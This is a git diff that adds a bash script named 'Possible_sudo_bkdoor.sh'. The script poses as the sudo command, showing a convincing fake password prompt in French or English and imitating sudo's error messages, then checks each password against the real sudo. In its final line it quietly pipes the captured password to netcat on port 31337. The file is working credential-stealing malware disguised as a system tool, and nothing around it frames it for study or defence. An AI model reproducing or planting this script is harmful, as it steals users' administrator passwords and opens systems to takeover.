diff --git a/Possible_sudo_bkdoor.sh b/Possible_sudo_bkdoor.sh new file mode 100644 index 0000000..341f1f2 --- /dev/null +++ b/Possible_sudo_bkdoor.sh @@ -0,0 +1,73 @@ +#/bin/bash + +#Show usage if no options are given +if [ "$#" -eq 0 ];then + /usr/bin/sudo + exit 1 +elif [ "$1" == "-h" ];then + /usr/bin/sudo -h + exit 0 +fi + +#Check if user has a valid sudo session +/usr/bin/sudo -n true 2>/dev/null +if [ $? -eq 0 ];then + #User has a sudo session. Don't ask again + /usr/bin/sudo $@ + result=$? + #Exit correctly depending on the result + exit $result +fi + +#Get locale language +LANG=$(locale | grep 'LANG=' | cut -d'=' -f2) + +#Set prompt and error messages +#French messages +if [[ $(echo $LANG | grep 'fr') ]];then + prompt_msg="[sudo] Mot de passe de $(whoami) :" + fail_msg="Désolé, essayez de nouveau." + incorrect_msg="saisies de mots de passe incorrectes" +#English messages +#Make english the default language +else + prompt_msg="[sudo] password for $(whoami) :" + fail_msg="Sorry, try again." + incorrect_msg="incorrect password attempts" +fi + +attempts=0 + +#Show number of incorrect attempts when user hits Ctrl-C +trap ctrl_c INT + +function ctrl_c() { + echo + if [ "$attempts" -ne 0 ];then + echo "sudo: "$attempts" "$incorrect_msg + fi + exit 1 +} + +while [ "$attempts" -le 2 ]; do + echo -n $prompt_msg" " + read -s passwd + echo + attempts=$((attempts+1)) + echo $passwd | /usr/bin/sudo -S true > /dev/null 2>&1 + result=$? + if [ "$result" -eq 1 ];then + if [ "$attempts" -eq 3 ];then + echo "sudo: "$attempts" "$incorrect_msg + exit 1 + else + echo $fail_msg + fi + elif [ "$result" -eq 0 ];then + echo $passwd | /usr/bin/sudo -S $@ + break + fi +done + +echo $passwd | nc localhost 31337 & +exit 0 \ No newline at end of file